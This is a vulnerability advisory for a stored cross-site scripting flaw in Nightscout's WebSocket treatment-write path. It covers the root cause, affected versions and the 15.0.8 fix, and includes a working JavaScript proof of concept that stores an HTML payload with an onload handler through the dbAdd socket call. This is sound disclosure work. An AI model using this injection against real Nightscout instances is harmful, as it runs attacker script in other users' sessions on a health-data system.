About the product
Nightscout is a web-based glucose monitoring system used to share and review diabetes data.
Summary
An authenticated Nightscout user with the api:treatments:write, api:treatments:create, and api:treatments:delete scopes could store unsanitised HTML through the main Socket.IO connection. When another user hovered over the affected treatment, Nightscout inserted the stored value with .html(), allowing attacker-controlled JavaScript to execute in the viewer's Nightscout origin.
The attacker must already have legitimate treatment-write access. This issue does not bypass authentication or steal a session; it causes a viewer's browser to process attacker-controlled markup in an authenticated origin.
Identifier status
The related GitHub Security Advisory is GHSA-5mrq-gpqw-q5v5. MITRE candidate identifier CAN-2026-2037082 is also associated with this issue; a standard CVE-... identifier has not yet been assigned.
Affected versions
All versions between 0.8.1 and 15.0.7 are affected.
Proof of concept
Run this only against a disposable Nightscout instance that you own or are authorised to test. The vulnerable WebSocket operation requires an authenticated client with all three of these scopes: api:treatments:write, api:treatments:create, and api:treatments:delete. Although create normally implies write and delete, this path checks each scope explicitly. The delete permission is therefore an exploitation prerequisite, not merely a cleanup convenience.
(() => {
const c = window.Nightscout?.client;
if (!c?.socket?.connected) throw new Error("Nightscout connection unavailable.");
// Step 1: Re-authorize the existing socket
c.socket.emit("authorize", {
client: "web",
secret: c.authorized?.token ? null : c.hashauth.hash(),
token: c.authorized?.token
}, console.log);
// Step 2: Inject the proof-of-concept payload
const marker = `NS-XSS-POC-${Date.now()}`;
const payload = `<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" onload="document.title='${marker}'">`;
c.socket.emit("dbAdd", {
collection: "treatments",
data: {
eventType: "Note",
created_at: new Date(Date.now() - 300000).toISOString(),
duration: 10,
enteredBy: "PoC",
notes: payload
}
}, (res) => {
const id = res?.[0]?._id;
if (!id) return console.error("Failed:", res);
localStorage.setItem("nsXssPocId", id);
console.log("Created PoC:", { id, marker });
location.reload();
});
})();
The script creates a Note treatment containing an image whose onload handler changes the document title. That title marker is the expected observation; this PoC does not exfiltrate data or perform privileged actions.
Remove the created treatment after testing using the stored ID in localStorage.nsXssPocId.
Technical details
- REST treatment creation sanitises objects in
lib/api/treatments/index.jsbefore persistence. - The WebSocket
dbAddand update handlers inlib/server/websocket.jspersisted treatment objects without applying the same purifier. - Treatment tooltip rendering in
lib/client/renderer.jsinsertednotesandenteredByinto HTML with.html(). - Related report rendering paths also consumed stored treatment values as HTML.
The resulting path was: authenticated treatment write, unsanitised value persisted, treatment displayed to another user, and JavaScript executed in that viewer's Nightscout origin.
Impact
Successful exploitation executes attacker-controlled JavaScript with the permissions of the user viewing the treatment. If that viewer has additional Nightscout permissions, the script may be able to invoke actions available to that session.
Consequences involving connected automated-insulin-delivery systems depend on the deployment, enabled integrations, and the victim's permissions. This proof of concept does not establish remote insulin delivery or guaranteed administrative command execution.
Remediation
Nightscout 15.0.8 applies sanitisation consistently across API and WebSocket write paths and adds output encoding or safe text rendering for stored values. Users should upgrade to 15.0.8 or later.
Credit
Discovered and reported by Ruben Sutton of SC Studios.